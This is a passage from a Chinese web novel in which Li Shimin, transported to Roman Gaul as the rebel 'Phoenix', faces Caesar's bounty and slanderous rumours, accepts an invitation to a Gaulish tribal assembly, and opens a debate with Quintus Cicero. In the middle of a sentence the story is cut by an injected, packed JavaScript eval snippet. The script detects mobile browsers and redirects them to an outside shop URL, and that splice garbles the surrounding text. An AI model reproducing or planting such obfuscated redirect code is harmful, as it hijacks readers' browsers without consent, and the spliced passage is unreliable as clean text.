李世民勒马停在一处高坡,黑色鞣皮猎装的下摆被山风拂动。他身侧的塞恩眯起琥珀色的眼睛,指向东南方向隐约可见的平原轮廓。 “再走三天,就能到罗讷河谷地。沿着河谷向南,就是马赛。”她用拉丁语流利地说,“那是希腊人的城市,不属于罗马行省,有独立的港口。从那里可以坐船去希腊,去德尔斐,或者更远。” 李世民点了点头,目光却落在坡下一处岔路口。那里立着一根新削的木桩,桩顶钉着一块涂了白漆的木板,在灰绿色的山野间格外扎眼。 “那是什么?” 塞恩策马下坡,靠近察看。片刻后,她调转马头回来,脸色有些古怪。 “你的悬赏令。”她把木板摘下来,递给李世民。 木板上的拉丁文是工匠用凿子匆匆刻就的,笔画粗劣,但内容清晰: 通缉令 悬赏捉拿:一名东方男性,约20-30岁,黑发黑眼,相貌俊美,擅蛊惑人心。自称“菲尼克斯”,实为煽动叛乱、袭击罗马官员及军队的凶恶要犯。 生擒并移交者:赏银两万第纳尔,授予罗马公民权及意大利境内良田百亩。 杀死并确证者:赏银一千第纳尔。 藏匿、协助或知情不报者:与逃犯同罪,处钉十字架之刑。 此令由高卢总督盖乌斯·尤利乌斯·凯撒亲署,通行全境。 李世民的目光先落在“两万第纳尔”和“百亩”上,嘴角勾起一丝讥诮——但很快,他的视线定住了。 盖乌斯·尤利乌斯·凯撒。 七个拉丁字母,工整地刻在木板右下角。 那一瞬间,时间仿佛凝固了片刻。山风还在吹,远处有鸟鸣,但李世民的耳中却忽然响起了一个声音——低沉、温和、带着沙哑疲惫,却又清晰得如同昨夜: “Gaius Julius Caesar.” 雨夜帐篷里,灯火摇曳。那个穿着灰色旧衣的老朋友坐在他对面,用树枝在蜡板上认真描画着这个名字,然后指向自己。 “这是我的全部。”他曾这样用动作诉说。 李世民的手指无意识地收紧,木板边缘粗糙的木刺扎进掌心,带来细微的刺痛。 盖乌斯·尤利乌斯·凯撒。 同一个名字。 一个是军营里那个会和他分享无花果、会在篝火边安静倾听、会笨拙地用图画与他交谈的“盖乌斯”。 一个是高卢总督,签署这张悬赏令,将他的性命和自由明码标价为两万第纳尔的“凯撒”。 不,不可能。 李世民用力闭了闭眼,将这个荒谬的联想从脑海中驱逐出去。盖乌斯太常见了,凯撒这个姓氏——屋大维说过——在罗马多如牛毛。不过是巧合,一个令人不快的巧合。 “才两万第纳尔?”他听见自己开口,声音比他预想的更平静,带着刻意的、近乎轻蔑的语调,“塞恩,在罗马,一个普通士兵一年的军饷是多少?” “大概四百到五百第纳尔。”塞恩回答,担忧地看着他。她察觉到了他那一瞬间的异样。 “所以,我的命——或者活捉我的价码——相当于一个罗马士兵四十年的军饷。”李世民的笑意更深了,但眼底没有丝毫温度,只有一片冰冷的深潭,“而在我的家乡,朕……我的一件礼服,就不止这个价。” 他松开手,木板“啪”一声掉在地上。马蹄踏过,应声断裂。 “走吧。”他说,声音恢复了平静,仿佛刚才那一瞬的凝滞从未发生,“去马赛。” 他没有再看地上破碎的木板,没有再看那个名字。 有些事,不必细想。 不能细想。 --- 正午时分,他们在山谷间一处简陋的路边饭馆歇脚。 饭馆是用原木和茅草搭的,门口挂着块熏黑的野猪头骨,算是招牌。里面只有四五张粗木桌子,客人多是往来的商贩和赶路的农夫。空气里弥漫着烤羊肉的膻味、劣质葡萄酒的酸气,还有汗水和尘土混合的气息。 李世民和塞恩选了最角落的位置,背靠墙壁,面朝门口。塞恩用几枚铜币换来两碗炖豆子、两块黑面包,还有一小陶罐清水。 他们沉默地吃着。周围的人声嘈杂,大多是高卢方言,夹杂着蹩脚的拉丁语。李世民一边进食,一边不动声色地聆听——这是他这几个月养成的习惯,在破碎的信息中拼凑这个世界的图景。 然后,他听到了自己的名字。 不,是“菲尼克斯”这个名字。 “……真的假的?那个‘不死鸟’,真把安东尼的军队逼退了?” “千真万确!我堂兄在灰石堡当差,他说撤回来的队伍少了将近三分之一!不是战死的,是在沼泽里病死的、淹死的、迷路再也回不来的!” “诸神啊……一个人对抗一整支罗马军队?” “可不是一个人。”另一个声音压低了些,带着某种暧昧的意味,“我听说啊,那个东方人能成事,是因为他……有靠山。” “什么靠山?” “嘘——”说话的人左右看看,声音压得更低,但在这狭小空间里依然清晰可闻,“…那个菲尼克斯,我听说啊,他以前在凯撒那儿,是当‘pathicus’的……” 他的同伴——一个满脸胡茬的马车夫——嗤笑:“扯吧!他要真是总督的‘pathicus’,现在还能带着高卢人打罗马人?” “你懂什么?”商贩压低声音,却依然能让半个饭馆听见,“就是因为伺候过,才知道罗马人的弱点!再说了,你以为那些高卢人为什么信他?我告诉你——在罗马,一个男人要是当了‘被支配的那一方’,就等于放弃了所有尊严和权利,跟奴隶没两样!这种人最恨罗马,也最会蛊惑人心!” “啪!” 塞恩手里的陶水杯掉在桌上,裂成两半。水洒了一桌,顺着桌沿滴滴答答往下淌。 她脸色惨白地看向李世民,手指微微发抖。 李世民皱了皱眉:“‘帕提库斯’?什么意思?” 塞恩张了张嘴,没发出声音。她深吸一口气,抓住李世民的手腕:“我们走。现在。” “等等。”李世民反手按住她的手,目光强硬,“告诉我,这个词是什么意思。” 塞恩的嘴唇颤抖了一下。她看着李世民的眼睛,那双深褐色的、总是冷静如潭的眼睛,此刻正清晰地映出她的慌乱。 她艰难地开口,声音压得极低,每个词都像从齿缝里挤出来: “Pathicus……就是,在男人之间的事情里,扮演女人角色的人。被支配的人。在罗马,这是对一个男人最恶毒的羞辱——比骂他是懦夫、是小偷、是杀人犯更恶毒。这意味着他放弃了男人的尊严和权力,甘愿被另一个男人……统治。” 她顿了顿,几乎是用气声补充: “他们说你用身体讨好凯撒,因为你是被支配的一方,所以现在才这么恨罗马人……这是对你最大的侮辱。” 饭馆里忽然安静了一瞬。 李世民坐在那里,一动不动。 他脸上的表情很平静,平静得甚至有些空洞。只有握着塞恩手腕的那只手,指节因为过度用力而泛出青白。 然后,他笑了。 不是讥诮的笑,也不是冰冷的笑,而是一种近乎……荒谬的笑。 “我,”他一字一顿,用清晰得可怕的拉丁语,对着空气,也像是对着那个素未谋面的“高卢总督凯撒”宣判,“没见过他。不知道他是哪一个凯撒。” 这句话他说得很慢,每个音节都咬得极重,确保饭馆里所有人都能听懂。 “但我知道,这是污蔑。”他抬起眼,声音不高,却像刀刃刮过石板,“用最下作的手段,损害我的名誉,打击我的威信。很好。” 他松开塞恩的手,缓缓站起身。 然后,一拳砸在厚实的木桌上。整个饭馆瞬间鸦雀无声,所有人都惊恐地望过来——这个穿着黑色猎装、身形挺拔、面容在昏暗光线下依然俊美得惊人的东方人。 “我现在知道了,”李世民说,目光带着杀气扫过刚才说话的那几个人,他们下意识地避开了视线,“罗马人,不仅残暴。” 他顿了顿,最后一个词像冰锥砸下: “还无耻。” 他扔下几枚铜币——足够赔偿打碎的杯子和这顿没吃完的饭——然后转身,大步走出饭馆。 塞恩慌忙跟上,冷静提醒:“这是罗马人打击反抗者声望的常见手段——让敌人失去追随者的敬畏。” 高卢社会同样崇尚勇武和支配力,一个曾被罗马统帅支配过身体的人,没资格作为公认的领袖。战士很难真心追随一个被他们潜意识里鄙视的对象。 而菲尼克斯的“神性”或英雄光环,建立在神秘、强大、不可征服之上。谣言将他的形象彻底凡俗化、卑贱化,直接抽掉追随者精神崇拜的基石。 最气人的是将他心怀测隐,拯救苍生的大义之举,描绘成源于“私人情怨”,打击他阵营的凝聚力。 罗马人,或者说那个叫凯撒的总督,正在用最下作的方式,污名化他的一切反抗,试图用流言将他钉死在耻辱柱上。 李世民逐渐冷静,但眼神更冷:“卑鄙。” 门外,午后的阳光刺眼。李世民翻身上马,动作利落得没有一丝迟疑。他拉低兜帽,遮住大半张脸,只露出紧绷的下颌线条。 “走。”他对塞恩说,声音已经恢复了平静,“去马赛。” 他没有回头。 但他握缰的手,指节依然发白。 二、马赛港的阴影 四天后,他们站在了马赛城外的一座山丘上。 下方,地中海在午后阳光下铺开一片令人心悸的蔚蓝。港口桅杆如林,白帆点点,来自希腊、埃及、腓尼基甚至更远地方的商船在此停泊。城市依山而建,白色的房屋层层叠叠,最高处是希腊风格的神庙,廊柱在日光下泛着象牙般的光泽。 空气里飘来海风的咸腥,混杂着码头鱼市的气味、香料市场的异香,还有远方酒馆飘出的音乐与喧哗。 这是一个与高卢内陆截然不同的世界。开放、繁华、嘈杂,充满异域风情。 “希腊人的城市,”塞恩轻声说,“但罗马的影响力无处不在。你看港口——那些最大的货船,挂着罗马商人的旗。还有那边,山坡上的别墅,住的是罗马来的税吏和官员。” 李世民静静看着。他的目光掠过港口,掠过街道,最后落在城市东南角一片相对安静的区域。那里有几栋建筑,样式古朴庄重,门口有穿长袍的人进出。 “那是什么地方?” “哲学学园,还有图书馆。”塞恩说,“希腊人重视这个。如果你想去德尔斐求问神谕,也许可以在这里先找到向导,或者查查古籍。” 李世民点了点头。他需要信息——关于这个世界的地理、历史,关于那些可能存在的、通往更遥远东方的道路或传说。马赛的希腊学园和图书馆,或许是个起点。 但他们没能立刻进城。 在山脚下通往城门的大路旁,他们遇到了一个人。 那是个高卢老人,穿着染成深蓝色的羊毛长袍,头发雪白,用一根简单的骨簪束在脑后。他坐在路边的石头上,身旁停着一辆简陋的驴车,车上堆着些陶罐和皮毛,看起来像个普通的行商。 然而当李世民和塞恩经过时,老人抬起了头。 他的眼睛是浑浊的灰蓝色,目光却异常锐利,像能穿透皮囊,直视灵魂。 “黑色的鸟,”老人用高卢语缓缓说道,“从北方的沼泽飞来,翅膀上还沾着罗马人的血。” 塞恩瞬间绷紧了身体,手按向腰间的短剑。 李世民却抬手,示意她稍安勿躁。他看向老人,问道:“你在等我?” 塞恩将他的话翻译成高卢语,问老人。 老人笑了,露出所剩无几的牙齿:“不是等你,菲尼克斯。是在等‘命运’。” 他站起身,从怀中取出一件东西——不是羊皮纸,也不是木板,而是一片经过打磨的橡树皮。树皮上用炭笔画着复杂的图腾:中央是一棵枝繁叶茂的橡树,树下环绕着八个不同的符号,代表高卢最主要的八个部落。橡树的根系深入大地,树冠上,有一只简笔的鸟,振翅欲飞。 “这是……”塞恩屏住呼吸。 “橡树之心集会的邀请。”老人将橡树皮双手奉上,目光直视李世民,“十五天后,卢格杜努姆城外,圣林之中。八个部落的长老和勇士将会聚集,商讨高卢的未来。” 塞恩充当两人间的翻译。 李世民没有接。他看着那片橡树皮,眼神深邃:“为什么找我?” “因为你让罗马的鹰旗在沼泽前退却,”老人说,声音里带着一种古老的、仪式般的庄重,“因为你让那些失去希望的人重新抬起了头。因为‘菲尼克斯’这个名字,正在高卢的土地上变成火种。” 他顿了顿,灰蓝色的眼睛仿佛要看进李世民灵魂深处: “我们需要一个声音,一个能代表所有高卢部落和人民,与罗马对话——或者对抗——的声音。我们选择了你。” 风声掠过山丘,带来港口遥远的喧嚣。 李世民沉默了很久。他接过那片橡树皮,指尖抚过上面粗糙的纹路。橡树、部落符号、飞鸟……每一个线条都沉甸甸的,承载着无数人的生死与未来。 “如果我不去呢?”他问。 老人笑了,笑容里有一种看透世事的苍凉:“那么‘菲尼克斯’将永远只是一个传说,一个在酒馆和篝火边被谈论、但终究会随着时间淡去的幽灵。而高卢……将继续在罗马的靴子下呻吟,直到最后一滴血被榨干。” 他深深鞠躬,然后转身,爬上驴车。驴子慢悠悠地迈开步子,沿着大路渐渐远去,消失在扬起的尘土里。 塞恩直到这时才呼出一口气:“卢格杜努姆……那是罗马在北高卢的行政中心,凯撒的总督府就在那里。这是个陷阱,一定是!” 他向李世民介绍罗马在高卢的两处行政中心。纳博讷是 “山南高卢”行省的首府。这个行省在阿尔卑斯山以南,意大利半岛北部,已经被罗马统治、同化了上百年,居民拥有罗马公民权或拉丁权,是罗马化的核心区域。 卢格杜努姆是 “山北高卢”(又称“长发高卢”)的行政、军事和交通心脏。凯撒将高卢总督府设在这里,就是为了镇压和控制这片新征服的土地。它是 “罗马统治高卢”的象征。 在这里开会,等于在罗马总督的眼皮底下、在帝国统治机器的核心地带,公然策划反抗。其政治挑衅意味和象征意义达到顶峰。 “可能是陷阱,”李世民平静地说,目光仍停留在手中的橡树皮上,“也可能是机会。” “机会?去送死的机会?”塞恩的声音提高了,“你知道现在卢格杜努姆有多少罗马驻军吗?至少两个军团!更别提凯撒本人可能就在那里!你一旦现身——” “我知道。”李世民打断她。 他抬起头,望向远处的马赛港。白帆在蓝天下轻轻摇曳,像一片片自由的羽翼。 “但我不能永远躲藏,塞恩。”他的声音很轻,却有种不容置疑的力量,“悬赏令上写我是‘煽动叛乱者’,酒馆里传我是‘凯撒的男宠’。如果我不站出来,这些污名就会像苔藓一样长在我的名字上,腐蚀它,直到它变成真正的笑话。” 他转身,面对塞恩:“你说过,‘菲尼克斯’已经成了一个传说。但传说需要被看见,被确认,被赋予血肉和意志。否则,它就只是风中的谣言,随时可能消散。” 塞恩咬着嘴唇,琥珀色的眼睛里翻涌着忧虑、不甘,还有一丝她自己都未察觉的……骄傲。 “那你打算怎么做?”她最终问。 李世民看向手中的橡树皮,指尖划过那只飞鸟的轮廓。 “去卢格杜努姆。”他说,“但不是作为逃亡者,或者被邀请的客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224109|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。” 他抬起眼,目光如出鞘的剑: “而是作为‘菲尼克斯’。作为高卢人选择的代言人。作为……罗马必须正视的对手。” 三、抉择时刻 他们在马赛城外一处偏僻的渔村暂时安顿下来。 村子很小,只有十几户人家,以打渔和腌制鱼货为生。塞恩用几枚银币租下一间临海的石屋,屋主是个寡居的老妇人,话不多,只每天清晨送来新鲜的面包和鱼汤。 李世民大部分时间待在屋里。他摊开那片橡树皮,用炭笔在粗糙的石板地面上画图、推演。 卢格杜努姆的位置、可能的路线、沿途的罗马驻军据点。 八个高卢部落的分布、势力范围、彼此间的历史恩怨。 橡树之心集会的地点——圣林,那应该是一片古老而神圣的橡树林,易守难攻,但也容易被包围。 塞恩则外出打探消息。她换上本地渔女的粗布衣裙,用头巾遮住大半张脸,混迹于码头和市场,倾听来自四面八方的流言。 第三天傍晚,她带回一个消息。 “凯撒离开了纳博讷,”她关上门,压低声音,“三天前,带着一小队亲卫,南下往卢格杜努姆去了。” 李世民正在石板地上画地图的手指停住了。 “确定?” “码头上有从卢格杜努姆来的商船,水手们都在议论。说总督突然回去,可能是为了处理什么紧急政务。”塞恩顿了顿,“但我觉得……他是冲着你来的。” 李世民沉默了片刻,然后继续画图。炭笔在石板上发出沙沙的轻响。 “时间,”他说,“我们需要时间。从马赛到卢格杜努姆,快马需要七八天。但如果绕开大路,走山间小径,至少需要十二天。而集会是在十五天后……” “你要去?”塞恩抓住他的手臂,“凯撒可能就在那里等着你!” “我知道。”李世民平静地看着她,“但正因为他在,我才更要去。” “为什么?” “因为如果我能在他面前,在高卢所有部落长老面前,站稳脚跟,那么‘菲尼克斯’就不再是传说,也不再是逃犯。”李世民的眼神里闪烁着一种塞恩从未见过的、近乎野心的光芒,“我将成为事实。一个罗马总督无法忽视、必须面对的政治现实。” 塞恩松开了手。她后退一步,看着眼前这个东方男人。 他依然穿着那身墨黑的猎装,面容因为数月的奔波和战斗而消瘦,轮廓更加锋利。但有什么东西变了——不再是沼泽里那个冷静的求生者、战术家,而是某种更宏大、更危险的存在,正在他体内苏醒。 “你会死的。”她最终说,声音干涩。 “也许。”李世民承认,“但如果不去,我活着也只是个影子。去希腊的计划延后,等我先解决这件事。” 他站起身,走到石屋唯一的小窗前。窗外,地中海的暮色正浓,天空从橙红渐变成深紫,第一颗星在远方的海平线上亮起。 “在我的家乡,”他忽然用汉语说,声音很轻,像在自言自语,“有一种说法:天命所归。” 塞恩没听懂,但她没有问。 李世民转过身,目光重新落在那片橡树皮上。炭笔画的飞鸟在昏暗的光线中,仿佛真的要振翅而起。 “准备一下,”他对塞恩说,“我们明天出发。不走大路,走山道。我们需要在集会前,先见见那些邀请我的人——不是所有八个部落,至少见两三个,了解他们真正想要什么,以及……他们是否值得我赌上性命。” 塞恩点了点头。她没有再劝。因为她知道,当这个男人用这种语气说话时,决定已经做出,无可更改。 当晚,渔村寂静。只有海浪拍岸的声音,周而复始。 李世民独自坐在窗前,对着星空,用汉语低声自语: “李元吉……袁天罡……你们将我流放于此,可曾想到,我今日竟要代表夷狄,与罗马争锋?” “普天之下莫非王土,率土之滨莫非王臣,夷狄与华夏皆朕子民,我是否有义不容辞的责任?” 无人回应。 只有海风呜咽,穿过石屋的缝隙,像遥远的、故土的叹息。 四、双线并进 同一时刻,卢格杜努姆,总督府。 凯撒站在书房巨大的落地窗前,俯瞰着下方城市的灯火。 卢格杜努姆坐落在罗讷河与索恩河交汇处,是高卢最重要的交通枢纽和行政中心。此刻已是深夜,但港口区依然喧嚣,酒馆和妓院的灯光倒映在漆黑的河面上,碎成一片片晃动的金黄。 书房里没有点太多灯,只有壁炉的火光和桌上的一盏青铜油灯。火光在凯撒脸上投下跳动的阴影,让他深刻的轮廓显得更加疲惫,也更加……锐利。 “消息确认了?”他没有回头,问站在身后的亲卫队长雷克斯。 “确认了,统帅。”雷克斯的声音平稳,“‘橡树之心’集会,十五天后,城外圣林。八个主要部落都会派长老参加。他们邀请了一个人作为代言人——那个东方人,‘菲尼克斯’。” 凯撒的嘴角几不可察地动了一下。 “菲尼克斯……”他低声重复,“不死鸟。屋大维给他选了个好名字。” “需要派人拦截吗?在他到达卢格杜努姆之前?”雷克斯问,“安东尼将军的部队就在南边休整,可以调动。” “不。”凯撒转过身,走到巨大的高卢地图前。地图铺满整张橡木桌,上面用不同颜色的蜡块标注着军团驻地、部落势力范围、道路和关隘。 他的手指划过从马赛到卢格杜努姆的路线,然后停在“圣林”的位置。 “让他来。”凯撒说,灰蓝色的眼睛里闪烁着某种复杂难明的光,“我很好奇,一个能让安东尼灰头土脸、能让高卢部落奉为代言的人……究竟是什么样的。” 雷克斯犹豫了一下:“但这样太冒险了,统帅。如果他真的在集会上煽动叛乱——” “那就更好。”凯撒打断他,指尖重重按在地图上,“高卢的抵抗力量,像地下的暗流,我们看得见水面上的涟漪,却抓不住源头。现在,他们自己把源头送到了我们面前。” 他抬起头,看向雷克斯: “传令下去:卢格杜努姆驻军,即日起进入二级戒备,但不要有任何异常调动,不要惊动任何人。圣林周边,秘密布置眼线,我要知道进出那里的每一个人、每一句话。” “另外,”他顿了顿,“以我的名义,给参加集会的八个部落长老,各送一份礼物。就说……总督府预祝‘橡树之心’集会顺利,愿高卢与罗马共享和平与繁荣。” 雷克斯愣了一下:“礼物?这会不会……” “示弱?”凯撒笑了,笑容里没有任何温度,“不,这是提醒。提醒他们,无论他们在树林里商量什么,卢格杜努姆的城墙上有多少弓箭手,罗马的军团离他们有多近。” “我明白了。”雷克斯躬身,“那您……要出席集会吗?” 凯撒沉默了片刻。壁炉的火光在他脸上跳跃,映得那双灰蓝色的眼睛深不见底。 “不,”他最终说,“我不出席。但我会在合适的时候……出现。” 他挥了挥手,雷克斯行礼退下。 书房里重归寂静。凯撒走回窗前,目光投向东方——那是那个人来的方向,是他的故乡。 他想起雨夜帐篷里,那个人用树枝画下的歪扭的云;想起那双深褐色的眼睛在火光下,时而沉静如潭,时而锐利如剑;想起他生涩但清晰的拉丁语发音,以及那个夜晚,他伏在膝头无声哭泣时,单薄却挺直的脊背。 “菲尼克斯……李世民……”凯撒低声自语,“你究竟是谁?一位东方的皇帝?你来自哪里?想要什么?” 无人回答。 窗外,卢格杜努姆的灯火在夜色中绵延,像一片坠落的星河。而更远的黑暗里,山间小径上,一个黑色的身影正策马向南,奔向这场注定改变许多人命运的集会。 命运之轮,已经开始转动。 ?? 25. 第七章 鹰与凤的初鸣 第七章鹰与凤的初鸣 第一幕:圣林前夜·暗流 圣林的古橡树在暮色中伸展着虬结的枝干,仿佛沉睡巨人的臂膀。树皮上雕刻的部落图腾在火光映照下投出摇曳的影子——野猪、雄鹿、渡鸦、狼……八个符号,八个故事,八个世纪的恩怨。 李世民站在林中空地边缘,黑色鞣皮猎装让他几乎融入树影。塞恩在他身侧半步之后,琥珀色的眼睛警惕地扫视着每一个从不同方向走来的人影。 三位长老在夜幕完全降临前抵达。 最先到的是阿维尔尼部落的布罗杜斯——维钦托利同族的叔父,六十岁上下,左脸颊有一道从眉骨划到下颌的陈旧刀疤。他带来十二名护卫,个个肌肉虬结,皮甲上烙着山峦纹章。 “菲尼克斯。”布罗杜斯用高卢语说,声音像磨砂的石块,“沼泽的事我听说了。但阿维尔尼人不需要外人教我们怎么战斗——我们只需要武器,和罗马人仓库的位置。” 第二位是埃杜维部落的卢科斯,四十岁左右,穿着罗马式的束腰短袍,手指上没有战士的茧,却有墨渍。他的部落最早与罗马结盟,却也在战后被压榨得最狠。 “我们关心的是贸易权,”卢科斯用流利但带口音的拉丁语说,目光精明地打量着李世民,“如果反抗能让我们少交三成税,并拿到通往意大利的通行许可,埃杜维可以支持你——但仅限于政治支持。” 最后是林贡斯部落的卡西维劳努斯,真正的战士,曾在阿莱西亚断了一条腿,如今拄着橡木拐杖。他没有护卫,独自一人穿越三十里山路。 “我不是来谈判的,”卡西维劳努斯的声音沙哑而直接,“我来看你的眼睛。维钦托利投降前说,高卢需要一个‘不只为部落,而为所有人’的领袖。你的眼睛里有没有那个‘所有人’?” 李世民听着塞恩快速的翻译,没有立刻回答。 他走到空地中央的篝火旁,从怀中取出那片橡树皮邀请函。炭笔画的飞鸟在火光中仿佛在振翅。 “我不是来给你们武器的,”他用清晰的拉丁语说,配合手势,确保每个人理解,“也不是来谈判减税的。” 布罗杜斯皱眉,卢科斯眯起眼睛,卡西维劳努斯拄紧拐杖。 “如果只为了武器和减税,你们不需要我。任何一个有胆量的强盗都能做到。但如果你们想让高卢人的孩子不用被罗马税吏拖走,想让老人不用饿死在冬天,想让这片土地上的每一座村庄都能自己决定播种什么、收获什么——” 他顿了顿,手指划过橡树皮上八个部落符号: “那就需要团结。不是明天的团结,不是胜利后的团结。是从今夜、从这场集会开始的团结。而要做到这一点,明天的集会必须由我主导——不是作为阿维尔尼或埃杜维的代言人,而是作为‘高卢人的声音’。” 卡西维劳努斯忍不住问道:“你想带我们战斗,像维钦托利那样战斗到底?” “怎么战?”李世民转向他,目光锐利如剑,“你的部落还有多少能拿得起武器的男人?你们的铁匠还能打造多少把剑?你们的粮仓还能支撑几个月?” 卡西维劳努斯张了张嘴,没说出话。 “你们需要的不只是一个英雄,你们需要一个能弥合分歧、提出切实出路的人。” 现在,这个时刻到了。 “我不是来说空话的,”李世民的声音缓和下来,但更显沉重,“我见过真正的战场。我见过数万人的军团如何移动,如何扎营,如何像机器一样碾碎一切抵抗。我也在沼泽里,用三十个人,拖垮了安东尼的三百精锐——但那是因为我们熟悉每一寸泥潭,每一团毒雾。” 他向前一步,目光扫过所有人: “高卢很大,但部落分散。罗马人很少,但拳头握紧。你们可以继续各自为战,今天这个部落偷袭一个税队,明天那个部落烧一个哨站——然后等待罗马的报复,看着又一个村庄被烧成白地,又一批孩子被拖走为奴。” 他顿了顿,让话语的重量沉下去: “或者,我们可以换一种方式。” --- 第二幕:卢格杜努姆总督府·棋局 同一时刻,卢格杜努姆总督府的书房灯火通明。 凯撒站在巨大的高卢地图前,指尖在“圣林”位置轻轻敲击。地图上插着红蓝两色的小旗——红色代表罗马军团驻地,蓝色代表已知的高卢抵抗活动区域。蓝色旗子最近明显增多,且大多围绕一个名字:菲尼克斯。 “八个部落都派了长老级人物,”亲卫队长雷克斯汇报,“阿维尔尼的布罗杜斯、埃杜维的卢科斯、林贡斯那个瘸腿的老兵卡西维劳努斯……还有一些小部落的代表。总计可能超过五十人。” “五十个老人决定不了战争,”安东尼站在窗边,声音带着不屑,“真正重要的是他们能动员多少战士。” “重要的是他们能动员多少人心,”凯撒纠正,目光没有离开地图,“维钦托利失败后,高卢人缺的不是勇气,是希望。而这个‘菲尼克斯’给了他们希望。” 他转身,看向坐在书桌旁的中年男子——昆图斯·图利乌斯·西塞罗,罗马最杰出演说家马尔库斯·西塞罗的弟弟,以逻辑清晰、善于处理棘手外交事务著称。 “昆图斯,你明天代表罗马出席。” 西塞罗抬起头,面色谨慎:“统帅,考虑到这个‘菲尼克斯’在沼泽展现的战术智慧,他恐怕不会轻易被言辞说服。” “我不需要你说服他,”凯撒走到酒柜前,倒了两杯葡萄酒,递给西塞罗一杯,“我需要你做三件事。” 他啜饮一口,缓缓道: “第一,陈述事实:罗马带来了道路、法律、和平。税收是为维护秩序,服役是为抵御北方的日耳曼蛮族——这是高卢人自己无法做到的。 “第二,划清底线:只要不武装叛乱,不攻击罗马官员,各部落可保持自治传统。但一旦越线——”凯撒放下酒杯,声音微冷,“维钦托利的下场就是例子。 “第三,”他顿了顿,“观察。仔细观察那个东方人。他怎么说话,怎么思考,怎么应对压力。我要知道他的‘内核’是什么。” 西塞罗点头:“那如果他提出具体要求?比如降低税率,释放某些俘虏?” “可以谈,”凯撒说,“减税可以承诺——反正明年春天我们可以重新评估‘治安情况’调整回来。俘虏……挑几个无关紧要的老人妇女释放,做足姿态。” 安东尼皱眉:“这会不会显得罗马软弱?” “恰恰相反,”凯撒微笑,那笑容里没有温度,“这是展现力量。只有强者才敢做出让步,因为他知道随时可以收回。我要让高卢人看到,罗马不仅可以碾压他们,还可以‘仁慈’——而仁慈的开关,握在我手里。” 他走到窗前,望向圣林方向。夜色中,那片古老橡树林像一团更深的黑暗。 “还有一件事,”凯撒没有回头,“如果集会进展到某个节点……我会现身。” 雷克斯和安东尼同时一愣。 “统帅,这太危险了,”雷克斯急道,“五十个高卢长老,加上他们的护卫,至少有两百人——” “所以你要在圣林外围布置三个百人队,弓箭手上树,”凯撒打断,“但不是为了进攻,而是为了确保——如果我想走,随时可以走。如果我想留,没人能让我走。” 他转过身,灰蓝色的眼睛里闪烁着某种近乎期待的光: “我要亲眼看看这只‘不死鸟’。看他如何在众人面前展翅。” ?? 第三幕:圣林集会·三步交锋 卢格杜努姆是高卢的地理与精神中心之一。高卢德鲁伊教有在卢格杜努姆附近举行重要集会的传统。 罗马征服了高卢,但出于安抚人心、展示“罗马带来的秩序与繁荣”、以及实际了解各部落动向的目的,凯撒允许甚至主导恢复了这一年度集会,并赋予其新的形式—— “卢格杜努姆和平论坛”。 “神圣休战”规则: ·会期通常为七天。在此期间,以一棵巨大的、被视为神圣的古橡树为中心,划定一个广阔的“和平区”。 ·任何进入此区域的人都受到德鲁伊长老团(仍有残余威望)和罗马军令的双重临时庇护。任何武力行为都被视为对集会神圣性的最大亵渎,将遭到所有参与者的共同抵制甚至驱逐。 ·核心环节:任何持有“发言权杖”(由德鲁伊长老轮值颁发)的人,都可以在古橡树前的石台上发表演说,陈情、控诉或辩论。听众包括各部族首领、罗马官员、商人、学者乃至平民代表。 黎明时分,圣林空地上已经聚集了数百人。八个部落的长老围坐在中央石圈,他们的护卫站在外围,武器虽未出鞘,但手都按在剑柄上。更远处,普通高卢民众——农夫、猎户、工匠——静静站着,眼神里混杂着期待与不安。 李世民站在石圈东侧,塞恩在他身侧翻译。 他今天没有穿黑色猎装,而是一身深青色的高卢式束腰长袍——这是卡西维劳努斯连夜让人送来的,袍子边缘用银线绣着简朴的几何纹路。 朝阳从橡树缝隙间洒下,在林间空地上切割出光与影的棋盘。李世民深吸一口气,木叶与泥土的气息涌入鼻腔。 然后罗马人来了。 昆图斯·西塞罗只带了十名护卫,全部身着抛光铜甲,步伐整齐划一。他在石圈北侧预留的位置坐下,姿态从容得仿佛在自己家的庭院。 “以罗马元老院与人民,及高卢总督盖乌斯·尤利乌斯·凯撒之名,”西塞罗用清晰的高卢语开场,声音在林中回荡,“我前来倾听高卢各部的诉求,并传达罗马的善意。” 布罗杜斯冷哼一声,但没说话。 第一轮:罗马叙事 西塞罗的演说持续了约一刻钟。他列举了罗马统治下的“益处”:道路让贸易繁荣,法律制止部落仇杀,军团抵御了日耳曼人的入侵。 “是的,有税收,”他承认,语气诚恳,“但没有税收,如何维护道路?如何支付士兵军饷保护你们?维钦托利的叛乱给高卢带来了什么?十万具尸体,烧毁的村庄,饥荒的冬天。” 他顿了顿,目光扫过各位长老: “罗马不寻求奴隶,只寻求伙伴。只要遵守法律,不武装叛乱,你们可以保留习俗、祭祀、长老会议。这是总督的亲口承诺。” 场中一片寂静。一些长老面露动摇——西塞罗的话击中了他们最深的恐惧:再来一场阿莱西亚式的惨败。 李世民就在这时站了起来。 他没有立刻说话,而是先走到石圈中央,弯腰从地上抓起一把泥土。黑褐色的土壤从他指缝间簌簌落下。 “这位官员说,罗马带来道路,”他用拉丁语开口,声音不大,但每个音节都清晰,“那么请问,这些道路上运输最多的是什么?是商人的货物,还是罗马军团的辎重?” 西塞罗皱眉:“两者皆有——” “那么再请问,”李世民打断,转向高卢民众,“当罗马士兵沿着这些道路开进你们的村庄,他们带来的是‘保护’,还是征税的账簿和镣铐?” 人群中响起低语。 “至于法律——”李世民走向西塞罗,在距离他五步处停下,“罗马的法律规定,欠税者可为奴。规定,反抗征税官者可处死。规定,高卢人不能拥有超过一定规格的武器。这是‘制止仇杀’的法律,还是‘确保顺从’的法律?” 西塞罗脸色微变:“你这是在曲解——” “我没有曲解,我在陈述事实。”李世民转身面对所有高卢人,塞恩将他的话快速翻译成高卢语。 